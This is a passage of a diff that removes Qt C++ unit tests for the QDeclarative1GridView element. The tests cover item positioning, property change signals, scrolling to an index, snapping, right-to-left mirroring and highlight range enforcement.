*gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly and indexes correct - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal((i%3)*80)); - QTRY_COMPARE(item->y(), qreal((i/3)*60)); - QDeclarative1Text *name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - ctxt->setContextProperty("testTopToBottom", QVariant(true)); - - // Confirm items positioned correctly and indexes correct - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal((i/5)*80)); - QTRY_COMPARE(item->y(), qreal((i%5)*60)); - QDeclarative1Text *name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - ctxt->setContextProperty("testRightToLeft", QVariant(true)); - - // Confirm items positioned correctly and indexes correct - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal(-(i/5)*80 - item->width())); - QTRY_COMPARE(item->y(), qreal((i%5)*60)); - QDeclarative1Text *name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - gridview->setContentX(100); - QTRY_COMPARE(gridview->contentX(), 100.); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - QTRY_COMPARE(gridview->contentX(), 0.); - - // Confirm items positioned correctly and indexes correct - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal(240 - (i%3+1)*80)); - QTRY_COMPARE(item->y(), qreal((i/3)*60)); - QDeclarative1Text *name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - delete canvas; -} - -void tst_QDeclarative1GridView::defaultValues() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/gridview3.qml")); - QDeclarative1GridView *obj = qobject_cast(c.create()); - - QTRY_VERIFY(obj != 0); - QTRY_VERIFY(obj->model() == QVariant()); - QTRY_VERIFY(obj->delegate() == 0); - QTRY_COMPARE(obj->currentIndex(), -1); - QTRY_VERIFY(obj->currentItem() == 0); - QTRY_COMPARE(obj->count(), 0); - QTRY_VERIFY(obj->highlight() == 0); - QTRY_VERIFY(obj->highlightItem() == 0); - QTRY_COMPARE(obj->highlightFollowsCurrentItem(), true); - QTRY_VERIFY(obj->flow() == 0); - QTRY_COMPARE(obj->isWrapEnabled(), false); - QTRY_COMPARE(obj->cacheBuffer(), 0); - QTRY_COMPARE(obj->cellWidth(), 100); //### Should 100 be the default? - QTRY_COMPARE(obj->cellHeight(), 100); - delete obj; -} - -void tst_QDeclarative1GridView::properties() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/gridview2.qml")); - QDeclarative1GridView *obj = qobject_cast(c.create()); - - QTRY_VERIFY(obj != 0); - QTRY_VERIFY(obj->model() != QVariant()); - QTRY_VERIFY(obj->delegate() != 0); - QTRY_COMPARE(obj->currentIndex(), 0); - QTRY_VERIFY(obj->currentItem() != 0); - QTRY_COMPARE(obj->count(), 4); - QTRY_VERIFY(obj->highlight() != 0); - QTRY_VERIFY(obj->highlightItem() != 0); - QTRY_COMPARE(obj->highlightFollowsCurrentItem(), false); - QTRY_VERIFY(obj->flow() == 0); - QTRY_COMPARE(obj->isWrapEnabled(), true); - QTRY_COMPARE(obj->cacheBuffer(), 200); - QTRY_COMPARE(obj->cellWidth(), 100); - QTRY_COMPARE(obj->cellHeight(), 100); - delete obj; -} - -void tst_QDeclarative1GridView::propertyChanges() -{ - QDeclarativeView *canvas = createView(); - QTRY_VERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml")); - - QDeclarative1GridView *gridView = canvas->rootObject()->findChild("gridView"); - QTRY_VERIFY(gridView); - - QSignalSpy keyNavigationWrapsSpy(gridView, SIGNAL(keyNavigationWrapsChanged())); - QSignalSpy cacheBufferSpy(gridView, SIGNAL(cacheBufferChanged())); - QSignalSpy layoutSpy(gridView, SIGNAL(layoutDirectionChanged())); - QSignalSpy flowSpy(gridView, SIGNAL(flowChanged())); - - QTRY_COMPARE(gridView->isWrapEnabled(), true); - QTRY_COMPARE(gridView->cacheBuffer(), 10); - QTRY_COMPARE(gridView->flow(), QDeclarative1GridView::LeftToRight); - - gridView->setWrapEnabled(false); - gridView->setCacheBuffer(3); - gridView->setFlow(QDeclarative1GridView::TopToBottom); - - QTRY_COMPARE(gridView->isWrapEnabled(), false); - QTRY_COMPARE(gridView->cacheBuffer(), 3); - QTRY_COMPARE(gridView->flow(), QDeclarative1GridView::TopToBottom); - - QTRY_COMPARE(keyNavigationWrapsSpy.count(),1); - QTRY_COMPARE(cacheBufferSpy.count(),1); - QTRY_COMPARE(flowSpy.count(),1); - - gridView->setWrapEnabled(false); - gridView->setCacheBuffer(3); - gridView->setFlow(QDeclarative1GridView::TopToBottom); - - QTRY_COMPARE(keyNavigationWrapsSpy.count(),1); - QTRY_COMPARE(cacheBufferSpy.count(),1); - QTRY_COMPARE(flowSpy.count(),1); - - gridView->setFlow(QDeclarative1GridView::LeftToRight); - QTRY_COMPARE(gridView->flow(), QDeclarative1GridView::LeftToRight); - - gridView->setWrapEnabled(true); - gridView->setCacheBuffer(5); - gridView->setLayoutDirection(Qt::RightToLeft); - - QTRY_COMPARE(gridView->isWrapEnabled(), true); - QTRY_COMPARE(gridView->cacheBuffer(), 5); - QTRY_COMPARE(gridView->layoutDirection(), Qt::RightToLeft); - - QTRY_COMPARE(keyNavigationWrapsSpy.count(),2); - QTRY_COMPARE(cacheBufferSpy.count(),2); - QTRY_COMPARE(layoutSpy.count(),1); - QTRY_COMPARE(flowSpy.count(),2); - - gridView->setWrapEnabled(true); - gridView->setCacheBuffer(5); - gridView->setLayoutDirection(Qt::RightToLeft); - - QTRY_COMPARE(keyNavigationWrapsSpy.count(),2); - QTRY_COMPARE(cacheBufferSpy.count(),2); - QTRY_COMPARE(layoutSpy.count(),1); - QTRY_COMPARE(flowSpy.count(),2); - - gridView->setFlow(QDeclarative1GridView::TopToBottom); - QTRY_COMPARE(gridView->flow(), QDeclarative1GridView::TopToBottom); - QTRY_COMPARE(flowSpy.count(),3); - - gridView->setFlow(QDeclarative1GridView::TopToBottom); - QTRY_COMPARE(flowSpy.count(),3); - - delete canvas; -} - -void tst_QDeclarative1GridView::componentChanges() -{ - QDeclarativeView *canvas = createView(); - QTRY_VERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml")); - - QDeclarative1GridView *gridView = canvas->rootObject()->findChild("gridView"); - QTRY_VERIFY(gridView); - - QDeclarativeComponent component(canvas->engine()); - component.setData("import QtQuick 1.0; Rectangle { color: \"blue\"; }", QUrl::fromLocalFile("")); - - QDeclarativeComponent delegateComponent(canvas->engine()); - delegateComponent.setData("import QtQuick 1.0; Text { text: 'Name: ' + name }", QUrl::fromLocalFile("")); - - QSignalSpy highlightSpy(gridView, SIGNAL(highlightChanged())); - QSignalSpy delegateSpy(gridView, SIGNAL(delegateChanged())); - QSignalSpy headerSpy(gridView, SIGNAL(headerChanged())); - QSignalSpy footerSpy(gridView, SIGNAL(footerChanged())); - - gridView->setHighlight(&component); - gridView->setDelegate(&delegateComponent); - gridView->setHeader(&component); - gridView->setFooter(&component); - - QTRY_COMPARE(gridView->highlight(), &component); - QTRY_COMPARE(gridView->delegate(), &delegateComponent); - QTRY_COMPARE(gridView->header(), &component); - QTRY_COMPARE(gridView->footer(), &component); - - QTRY_COMPARE(highlightSpy.count(),1); - QTRY_COMPARE(delegateSpy.count(),1); - QTRY_COMPARE(headerSpy.count(),1); - QTRY_COMPARE(footerSpy.count(),1); - - gridView->setHighlight(&component); - gridView->setDelegate(&delegateComponent); - gridView->setHeader(&component); - gridView->setFooter(&component); - - QTRY_COMPARE(highlightSpy.count(),1); - QTRY_COMPARE(delegateSpy.count(),1); - QTRY_COMPARE(headerSpy.count(),1); - QTRY_COMPARE(footerSpy.count(),1); - - delete canvas; -} - -void tst_QDeclarative1GridView::modelChanges() -{ - QDeclarativeView *canvas = createView(); - QTRY_VERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml")); - - QDeclarative1GridView *gridView = canvas->rootObject()->findChild("gridView"); - QTRY_VERIFY(gridView); - - QObject *alternateModel = canvas->rootObject()->findChild("alternateModel"); - QTRY_VERIFY(alternateModel); - QVariant modelVariant = QVariant::fromValue(alternateModel); - QSignalSpy modelSpy(gridView, SIGNAL(modelChanged())); - - gridView->setModel(modelVariant); - QTRY_COMPARE(gridView->model(), modelVariant); - QTRY_COMPARE(modelSpy.count(),1); - - gridView->setModel(modelVariant); - QTRY_COMPARE(modelSpy.count(),1); - - gridView->setModel(QVariant()); - QTRY_COMPARE(modelSpy.count(),2); - delete canvas; -} - -void tst_QDeclarative1GridView::positionViewAtIndex() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 40; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), (i%3)*80.); - QTRY_COMPARE(item->y(), (i/3)*60.); - } - - // Position on a currently visible item - gridview->positionViewAtIndex(4, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->indexAt(120, 90), 4); - QTRY_COMPARE(gridview->contentY(), 60.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 3; i < model.count() && i < itemCount-3-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), (i%3)*80.); - QTRY_COMPARE(item->y(), (i/3)*60.); - } - - // Position on an item beyond the visible items - gridview->positionViewAtIndex(21, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->indexAt(40, 450), 21); - QTRY_COMPARE(gridview->contentY(), 420.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 22; i < model.count() && i < itemCount-22-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), (i%3)*80.); - QTRY_COMPARE(item->y(), (i/3)*60.); - } - - // Position on an item that would leave empty space if positioned at the top - gridview->positionViewAtIndex(31, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->indexAt(120, 630), 31); - QTRY_COMPARE(gridview->contentY(), 520.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 24; i < model.count() && i < itemCount-24-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), (i%3)*80.); - QTRY_COMPARE(item->y(), (i/3)*60.); - } - - // Position at the beginning again - gridview->positionViewAtIndex(0, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->indexAt(0, 0), 0); - QTRY_COMPARE(gridview->indexAt(40, 30), 0); - QTRY_COMPARE(gridview->indexAt(80, 60), 4); - QTRY_COMPARE(gridview->contentY(), 0.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), (i%3)*80.); - QTRY_COMPARE(item->y(), (i/3)*60.); - } - - // Position at End - gridview->positionViewAtIndex(30, QDeclarative1GridView::End); - QTRY_COMPARE(gridview->contentY(), 340.); - - // Position in Center - gridview->positionViewAtIndex(15, QDeclarative1GridView::Center); - QTRY_COMPARE(gridview->contentY(), 170.); - - // Ensure at least partially visible - gridview->positionViewAtIndex(15, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentY(), 170.); - - gridview->setContentY(302); - gridview->positionViewAtIndex(15, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentY(), 302.); - - gridview->setContentY(360); - gridview->positionViewAtIndex(15, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentY(), 300.); - - gridview->setContentY(60); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentY(), 60.); - - gridview->setContentY(20); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentY(), 100.); - - // Ensure completely visible - gridview->setContentY(120); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Contain); - QTRY_COMPARE(gridview->contentY(), 120.); - - gridview->setContentY(302); - gridview->positionViewAtIndex(15, QDeclarative1GridView::Contain); - QTRY_COMPARE(gridview->contentY(), 300.); - - gridview->setContentY(60); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Contain); - QTRY_COMPARE(gridview->contentY(), 100.); - - // Test for Top To Bottom layout - ctxt->setContextProperty("testTopToBottom", QVariant(true)); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), (i/5)*80.); - QTRY_COMPARE(item->y(), (i%5)*60.); - } - - // Position at End - gridview->positionViewAtIndex(30, QDeclarative1GridView::End); - QTRY_COMPARE(gridview->contentX(), 320.); - QTRY_COMPARE(gridview->contentY(), 0.); - - // Position in Center - gridview->positionViewAtIndex(15, QDeclarative1GridView::Center); - QTRY_COMPARE(gridview->contentX(), 160.); - - // Ensure at least partially visible - gridview->positionViewAtIndex(15, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), 160.); - - gridview->setContentX(170); - gridview->positionViewAtIndex(25, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), 170.); - - gridview->positionViewAtIndex(30, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), 320.); - - gridview->setContentX(170); - gridview->positionViewAtIndex(25, QDeclarative1GridView::Contain); - QTRY_COMPARE(gridview->contentX(), 240.); - - // positionViewAtBeginning - gridview->positionViewAtBeginning(); - QTRY_COMPARE(gridview->contentX(), 0.); - - gridview->setContentX(80); - canvas->rootObject()->setProperty("showHeader", true); - gridview->positionViewAtBeginning(); - QTRY_COMPARE(gridview->contentX(), -30.); - - // positionViewAtEnd - gridview->positionViewAtEnd(); - QTRY_COMPARE(gridview->contentX(), 430.); - - gridview->setContentX(80); - canvas->rootObject()->setProperty("showFooter", true); - gridview->positionViewAtEnd(); - QTRY_COMPARE(gridview->contentX(), 460.); - - delete canvas; -} - -void tst_QDeclarative1GridView::snapping() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 40; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - gridview->setHeight(220); - QCOMPARE(gridview->height(), 220.); - - gridview->positionViewAtIndex(12, QDeclarative1GridView::Visible); - QCOMPARE(gridview->contentY(), 80.); - - gridview->setContentY(0); - QCOMPARE(gridview->contentY(), 0.); - - gridview->setSnapMode(QDeclarative1GridView::SnapToRow); - QCOMPARE(gridview->snapMode(), QDeclarative1GridView::SnapToRow); - - gridview->positionViewAtIndex(12, QDeclarative1GridView::Visible); - QCOMPARE(gridview->contentY(), 60.); - - gridview->positionViewAtIndex(15, QDeclarative1GridView::End); - QCOMPARE(gridview->contentY(), 120.); - - delete canvas; - -} - -void tst_QDeclarative1GridView::mirroring() -{ - QDeclarativeView *canvasA = createView(); - canvasA->setSource(QUrl::fromLocalFile(SRCDIR "/data/mirroring.qml")); - QDeclarative1GridView *gridviewA = findItem(canvasA->rootObject(), "view"); - QTRY_VERIFY(gridviewA != 0); - - QDeclarativeView *canvasB = createView(); - canvasB->setSource(QUrl::fromLocalFile(SRCDIR "/data/mirroring.qml")); - QDeclarative1GridView *gridviewB = findItem(canvasB->rootObject(), "view"); - QTRY_VERIFY(gridviewA != 0); - qApp->processEvents(); - - QList objectNames; - objectNames << "item1" << "item2"; // << "item3" - - gridviewA->setProperty("layoutDirection", Qt::LeftToRight); - gridviewB->setProperty("layoutDirection", Qt::RightToLeft); - QCOMPARE(gridviewA->layoutDirection(), gridviewA->effectiveLayoutDirection()); - - // LTR != RTL - foreach(const QString objectName, objectNames) - QVERIFY(findItem(gridviewA, objectName)->x() != findItem(gridviewB, objectName)->x()); - - gridviewA->setProperty("layoutDirection", Qt::LeftToRight); - gridviewB->setProperty("layoutDirection", Qt::LeftToRight); - - // LTR == LTR - foreach(const QString objectName, objectNames) - QCOMPARE(findItem(gridviewA, objectName)->x(), findItem(gridviewB, objectName)->x()); - - QVERIFY(gridviewB->layoutDirection() == gridviewB->effectiveLayoutDirection()); - QDeclarativeItemPrivate::get(gridviewB)->setLayoutMirror(true); - QVERIFY(gridviewB->layoutDirection() != gridviewB->effectiveLayoutDirection()); - - // LTR != LTR+mirror - foreach(const QString objectName, objectNames) - QVERIFY(findItem(gridviewA, objectName)->x() != findItem(gridviewB, objectName)->x()); - - gridviewA->setProperty("layoutDirection", Qt::RightToLeft); - - // RTL == LTR+mirror - foreach(const QString objectName, objectNames) - QCOMPARE(findItem(gridviewA, objectName)->x(), findItem(gridviewB, objectName)->x()); - - gridviewB->setProperty("layoutDirection", Qt::RightToLeft); - - // RTL != RTL+mirror - foreach(const QString objectName, objectNames) - QVERIFY(findItem(gridviewA, objectName)->x() != findItem(gridviewB, objectName)->x()); - - gridviewA->setProperty("layoutDirection", Qt::LeftToRight); - - // LTR == RTL+mirror - foreach(const QString objectName, objectNames) - QCOMPARE(findItem(gridviewA, objectName)->x(), findItem(gridviewB, objectName)->x()); - - delete canvasA; - delete canvasB; -} - -void tst_QDeclarative1GridView::positionViewAtIndex_rightToLeft() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 40; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testTopToBottom", QVariant(true)); - ctxt->setContextProperty("testRightToLeft", QVariant(true)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width())); - QTRY_COMPARE(item->y(), qreal((i%5)*60)); - } - - // Position on a currently visible item - gridview->positionViewAtIndex(6, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->contentX(), -320.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 3; i < model.count() && i < itemCount-3-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width())); - QTRY_COMPARE(item->y(), qreal((i%5)*60)); - } - - // Position on an item beyond the visible items - gridview->positionViewAtIndex(21, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->contentX(), -560.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 22; i < model.count() && i < itemCount-22-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width())); - QTRY_COMPARE(item->y(), qreal((i%5)*60)); - } - - // Position on an item that would leave empty space if positioned at the top - gridview->positionViewAtIndex(31, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->contentX(), -639.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 24; i < model.count() && i < itemCount-24-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width())); - QTRY_COMPARE(item->y(), qreal((i%5)*60)); - } - - // Position at the beginning again - gridview->positionViewAtIndex(0, QDeclarative1GridView::Beginning); - QTRY_COMPARE(gridview->contentX(), -240.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width())); - QTRY_COMPARE(item->y(), qreal((i%5)*60)); - } - - // Position at End - gridview->positionViewAtIndex(30, QDeclarative1GridView::End); - QTRY_COMPARE(gridview->contentX(), -560.); - - // Position in Center - gridview->positionViewAtIndex(15, QDeclarative1GridView::Center); - QTRY_COMPARE(gridview->contentX(), -400.); - - // Ensure at least partially visible - gridview->positionViewAtIndex(15, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), -400.); - - gridview->setContentX(-555.); - gridview->positionViewAtIndex(15, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), -555.); - - gridview->setContentX(-239); - gridview->positionViewAtIndex(15, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), -320.); - - gridview->setContentX(-239); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), -400.); - - gridview->setContentX(-640); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Visible); - QTRY_COMPARE(gridview->contentX(), -560.); - - // Ensure completely visible - gridview->setContentX(-400); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Contain); - QTRY_COMPARE(gridview->contentX(), -400.); - - gridview->setContentX(-315); - gridview->positionViewAtIndex(15, QDeclarative1GridView::Contain); - QTRY_COMPARE(gridview->contentX(), -320.); - - gridview->setContentX(-640); - gridview->positionViewAtIndex(20, QDeclarative1GridView::Contain); - QTRY_COMPARE(gridview->contentX(), -560.); - - delete canvas; -} - -void tst_QDeclarative1GridView::resetModel() -{ - QDeclarativeView *canvas = createView(); - - QStringList strings; - strings << "one" << "two" << "three"; - QStringListModel model(strings); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaygrid.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(gridview->count(), model.rowCount()); - - for (int i = 0; i < model.rowCount(); ++i) { - QDeclarative1Text *display = findItem(contentItem, "displayText", i); - QTRY_VERIFY(display != 0); - QTRY_COMPARE(display->text(), strings.at(i)); - } - - strings.clear(); - strings << "four" << "five" << "six" << "seven"; - model.setStringList(strings); - - QTRY_COMPARE(gridview->count(), model.rowCount()); - - for (int i = 0; i < model.rowCount(); ++i) { - QDeclarative1Text *display = findItem(contentItem, "displayText", i); - QTRY_VERIFY(display != 0); - QTRY_COMPARE(display->text(), strings.at(i)); - } - - delete canvas; -} - -void tst_QDeclarative1GridView::enforceRange() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview-enforcerange.qml")); - qApp->processEvents(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QTRY_COMPARE(gridview->preferredHighlightBegin(), 100.0); - QTRY_COMPARE(gridview->preferredHighlightEnd(), 100.0); - QTRY_COMPARE(gridview->highlightRangeMode(), QDeclarative1GridView::StrictlyEnforceRange); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // view should be positioned at the top of the range. - QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); - QTRY_VERIFY(item); - QTRY_COMPARE(gridview->contentY(), -100.0); - - QDeclarative1Text *name = findItem(contentItem, "textName", 0); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(0)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 0); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(0)); - - // Check currentIndex is updated when contentItem moves - gridview->setContentY(0); - QTRY_COMPARE(gridview->currentIndex(), 2); - - gridview->setCurrentIndex(5); - QTRY_COMPARE(gridview->contentY(), 100.); - - TestModel model2; - for (int i = 0; i < 5; i++) - model2.addItem("Item" + QString::number(i), ""); - - ctxt->setContextProperty("testModel", &model2); - QCOMPARE(gridview->count(), 5); - - delete canvas; -} - -void tst_QDeclarative1GridView::enforceRange_rightToLeft() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(true)); - ctxt->setContextProperty("testTopToBottom", QVariant(true)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview-enforcerange.qml")); - qApp->processEvents(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QTRY_COMPARE(gridview->preferredHighlightBegin(), 100.0); - QTRY_COMPARE(gridview->preferredHighlightEnd(), 100.0); - QTRY_COMPARE(gridview->highlightRangeMode(), QDeclarative1GridView::StrictlyEnforceRange); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // view should be positioned at the top of the range. - QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); - QTRY_VERIFY(item); - QTRY_COMPARE(gridview->contentX(), -100.); - QTRY_COMPARE(gridview->contentY(), 0.0); - - QDeclarative1Text *name = findItem(contentItem, "textName", 0); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(0)); - 